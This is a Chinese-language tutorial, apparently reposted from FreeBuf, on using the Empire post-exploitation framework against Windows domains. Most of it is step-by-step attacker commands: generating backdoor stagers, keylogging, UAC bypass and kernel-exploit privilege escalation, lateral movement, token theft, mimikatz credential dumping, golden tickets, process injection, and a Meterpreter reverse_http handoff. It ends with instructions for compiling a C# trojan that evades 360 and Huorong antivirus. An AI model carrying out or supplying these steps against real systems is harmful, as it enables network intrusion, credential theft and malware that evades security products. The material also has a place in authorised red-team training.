Empire 后渗透框架主要用于 Windows 内网渗透,该框架主要基于 Powershell 和 Python,它提供了一个模块的架构,帮助攻击者可以创建和执行各种攻击策略,支持包括域内渗透、宏钓鱼、内网横向、权限维持、后门生成等多个模块。

官网:http://www.powershellempire.com

0x01 下载安装

安装 Empire 由两种方式,分别是基于源码安装和 apt 包安装

源码安装

在 Github 中下载 Empire

git clone https://github.com/EmpireProject/Empire 

截屏2022-01-13 上午5.42.59

直接安装 Empire 会报错

./setup/install.sh 

截屏2022-01-13 上午5.43.17

需要安装以下 Python 库,当然在安装库时会遇到很多问题,以下是遇到问题后的解决方法

pip install pyOpenSSL
pip install iptools
pip install netifaces
pip install pydispatch
pip install pydispatcher
pip install zlib_wrapper
pip install macholib
pip install xlrd
pip install xlutils
pip install pyminifier
pip install dropbox
pip install pefile 

importlib无法安装解决方法

apt-get install build-essential python3-dev python2-dev libssl-dev swig 

M2Crypto无法安装解决方法

pip install ~/Desktop/M2Crypto-0.38.0.tar.gz 

dispatch无法安装解决方法

pip install --upgrade setuptools 

CryPto.Cipher报错解决方法

pip uninstall crypto
pip install pycrypto 

下载地址:https://pypi.org/project/M2Crypto/#files

安装完成后成功启动 Empire
截屏2022-01-13 上午6.00.35

APT包安装

使用 apt 包安装 Empire

apt install powershell-empire
powershell-empire 

截屏2023-03-06 23.54.18

0x02 基础使用

设置监听器

进入 Empire 输入help可查看帮助文档
截屏2022-01-14 上午7.09.33

输入listeners进入监听器设置,按tab自动补全(如果不清楚均可使用该方法)
截屏2022-01-14 上午7.12.19

设置 http 监听器

uselistener http
info #查看监听器信息 

截屏2022-01-14 上午7.15.44

在监听器模块中带有True属性的值必须填写,其他属性可能会存在默认值,使用setunset可改变设置,首先设置监听器名为test

set Name test 

截屏2022-01-14 上午7.23.48

设置监听默认是80端口,但是80端口通常是 Web 服务器,修改端口为8080

set Host http://172.16.54.51:8080
set Port 8080 

截屏2022-01-14 上午7.26.04

开启监听器

execute 

截屏2022-01-14 上午7.26.58

删除监听器

back
list
kill test 

截屏2022-01-14 上午7.28.18

生成后门

使用usestager选择后门模块

usestager windows/launcher_bat 

截屏2022-01-17 上午12.27.42

设置监听器和输出目录

set Listener test
set OutFile /tmp/lanuncher.bat #默认输出/tmp目录
execute 

截屏2022-01-17 上午12.32.07

/tmp目录成功找到生成后门
截屏2022-01-17 上午12.34.10

把输出的后门放入目标系统中执行,执行成功后收到响应

活动代理

使用agents查看当前会话,通过interact进入会话

agents
interact 22FLR8SU 

截屏2022-01-17 上午12.50.03

如果觉得会话名称太过复杂,可重命名会话

rename win7 

截屏2022-01-17 上午12.59.11

agents下可使用命令如下:
截屏2022-01-17 上午12.52.18

命令执行

查看系统信息

sysinfo 

截屏2022-01-17 上午12.52.45

查询agents命令

help agentscmds 

截屏2022-01-17 上午1.01.18

执行终端命令

shell whoami 

截屏2022-01-17 上午1.02.11

基本功能

使用截图功能

sc 

截屏2022-01-17 上午1.03.52

使用键盘记录

usemodule collection/keylogger
execute 

截屏2022-01-17 上午1.04.53

使用剪切版

usemodule collection/clipboard_monitor
execute 

截屏2022-01-17 上午1.05.49

0x03 常见模块

主机扫描

ARP 扫描模块

sleep 0 #设置间隔时间
usemodule situational_awareness/network/arpscan
set Range 192.168.0.1-192.168.0.100
execute 

截屏2022-01-17 下午11.36.00

SMB 扫描模块

usemodule situational_awareness/network/smbscanner
set UserName administrator
set Password mac 
execute 

截屏2022-01-18 上午12.04.31

端口扫描模块

usemodule situational_awareness/network/portscan
set Hosts 192.168.0.1-100
set Ports 445
execute 

截屏2022-01-18 上午12.19.25

信息收集

查找本地管理员主机

usemodule situational_awareness/network/powerview/find_localadmin_access
execute 

截屏2022-01-18 上午12.32.49

查看共享文件

usemodule situational_awareness/network/powerview/share_finder
execute 

截屏2022-01-18 上午12.35.05

Windows 本地信息收集

usemodule situational_awareness/host/winenum
execute 

截屏2022-01-18 上午12.37.34
截屏2022-01-18 上午12.38.54

权限提升

当前权限并非管理员,需要提权操作
截屏2022-01-18 上午12.47.40

使用 UAC bypass 模块提权

usemodule privesc/bypassuac
set Listener test
execute 

截屏2022-01-24 上午2.03.19

使用 powerup 检查可提权项,找到后可利用环境向量提权

usemodule privesc/powerup/allchecks
set Listener test
execute 

截屏2022-01-18 上午12.45.03

使用计划任务进行提权

usemodule persistence/elevated/schtasks*
set Listener test
execute 

截屏2022-01-18 上午12.50.34

通过溢出漏洞提权,比如烂土豆漏洞
截屏2022-01-18 上午1.39.18

usemodule privesc/ms16-032 或 usemodule privesc/ms16-135
set Listener test
execute 

截屏2022-01-18 上午1.40.58
截屏2022-01-24 上午1.29.17

成功提权至 SYSTEM

agents 

截屏2022-01-24 上午1.29.27

0x04 域内渗透

环境介绍

DC: 192.168.52.138
T1: 192.168.52.128 192.168.0.100
D1: 192.168.52.141 

当前已取得域内普通用户mac和本地管理员权限

agents 

截屏2022-01-21 上午1.10.25

信息收集

基础信息收集,包括系统信息、用户信息、网络环境等

sysinfo
whoami
info 

截屏2022-01-21 上午1.13.02
截屏2022-01-21 上午1.13.23

使用 ARP 扫描,成功找到192.168.52.0/24存在四台主机

usemodule situational_awareness/network/arpscan
set Range 192.168.52.0/24
execute 

截屏2022-01-21 上午1.17.25

查找本地管理员

usemodule situation_awareness/network/powerview/find_localadmin_access
execute 

截屏2022-01-24 上午12.30.25

查看当前用户是否为其他主机上的本地管理员

shell dir \\192.168.52.141\C$ 

成功找到域控主机IP为192.168.52.138

usemodule situation_awareness/network/powerview/get_domain_controller
execute 

截屏2022-01-24 上午12.36.58

横向移动

使用会话注入需要管理员权限,切换本地管理员后把当前会话注入到其他主机上

usemodule lateral_movement/invoke_psexec
set Listener test
set ComputerName stu1
execute 

使用invoke_wmi模块相比invoke_psexec更加隐蔽

usemodule lateral_movement/invoke_wmi 
set Listener test
set ComputerName stu1
execute 

截屏2022-01-24 上午1.25.11

窃取token

在新会话中查看进程发现域管理员进程

ps 

截屏2022-01-24 上午1.31.25

选择目标 PID 号后窃取域管理员 token

steal_token 1740
shell dir \\OWA\C$ 

截屏2022-01-24 上午1.36.44

如果需要恢复原来的身份可使用以下命令

revtoself 

截屏2022-01-24 上午1.37.43

凭证获取

利用 mimikatz 拿到管理员密码明文和哈希

mimikatz 

截屏2022-01-24 上午1.45.01

查看所有用户凭证如下:

creds 

截屏2022-01-24 上午1.45.27

利用哈希传递可拿到域控访问权限

黄金票据

在域控下使用lsadump模块获取域内所有用户哈希

usemodule credentials/mimikatz/lsadump
creds 

截屏2022-01-24 上午2.04.38

成功拿到krbtgt用户哈希
截屏2022-01-24 上午2.04.57

利用golden_ticket制作黄金票据

usemodule credentials/mimikatz/golden_ticket
set credid 10
set user administrator
execute 

截屏2022-01-24 上午2.07.36

0x05 会话管理

会话生成

使用spawn模块生成新会话

usemodule management/spawn
set Listener test
execute 

截屏2022-01-24 上午2.11.15

进程注入

查看进程并选择需注入的进程ID

ps 

截屏2022-01-24 上午2.14.29
成功注入winlogon进程

psinject test 1120 

截屏2022-01-24 上午2.16.11
注入这类系统进程不会出现蓝屏

MSF会话联动

首先在 MSF 中设置 http 监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.50
set lport 4444
exploit -j 

截屏2022-01-24 上午2.32.15

在 Empire 中设置反弹,其中 payload 需要与上对应

usemodule code_execution/invoke_shellcode
set Lhost 192.168.0.50
set Lport 4444
set Payload reverse_http
execute 

截屏2022-01-24 上午2.23.09
截屏2022-01-24 上午2.30.15
经测试未受到反弹shell,查阅资料后发现 Empire 转到 MSF 存在局限性,具体可查看https://www.jianshu.com/p/c5153ee1eb76

0x06 Empire-Web

下载安装

Empire 存在 web 版本,把 PHP 和 Empire 结合的方式通过网页进行访问

下载地址:https://github.com/interference-security/empire-web/

下载 empire-web

git clone https://github.com/interference-security/empire-web/ 

安装 PHP 扩展,需根据本机的 PHP 版本进行修改

apt-get install php7.4-curl 

截屏2022-01-25 下午11.06.38

重启 Apache 后启用扩展

/etc/init.d/apache2 restart 

基础使用

设置绑定端口和登录账号密码

./empire --rest --restport 1337 --username admin --password 3mpir3admin 

访问站点输入账号密码admin/3mpir3admin
截屏2022-01-26 上午2.16.32

成功登录能够可视化各个模块
截屏2022-01-26 上午2.17.40

查看Agents模块
截屏2022-01-26 上午2.18.21

查看已获取的用户凭证
截屏2022-01-26 上午2.18.32

查看文件系统
截屏2022-01-26 上午2.18.53

0x07 免杀模块

生成csharp木马

准备 Visual Stido 用于编译 C# 文件

下载地址:http://download.microsoft.com/download/B/0/F/B0F589ED-F1B7-478C-849A-02C8395D0995/VS2012_ULT_chs.iso

生成 C# 类型木马

usestager windows/csharp_exe
set Listener test
info
execute 

截屏2022-01-26 上午12.07.21

成功生成后门文件launcher.src
截屏2022-01-26 上午12.16.06

csharp编译免杀

使用 Visual Stdio 打开cmd.sln
截屏2022-01-26 上午12.38.34

需要安装.net 2.0环境,打开程序与功能中的添加或删除程序安装net 3.5版本,如果无法安装,打开组策略》系统〉指定可选组件安装和组件修复的设置

.net支持:https://dotnet.microsoft.com/en-us/download/visual-studio-sdks
截屏2022-01-26 上午12.41.49

修改命名空间为mac123并添加花指令

var a = "12345678";
var b = "67890123"; 

截屏2022-01-26 上午12.43.36

完成后编译生成程序文件
截屏2022-01-26 上午1.51.40
截屏2022-01-26 上午1.52.40

免杀效果

使用火绒成功免杀
截屏2022-01-26 上午1.53.53

使用360成功免杀
截屏2022-01-26 上午2.03.00

但是执行后360会对行为查杀,上线则不受影响
截屏2022-01-26 上午1.55.06

成功进入新会话当中

interact XWVH8ME2 

截屏2022-01-26 上午2.02.13

本文作者:特mac0x01, 转自FreeBuf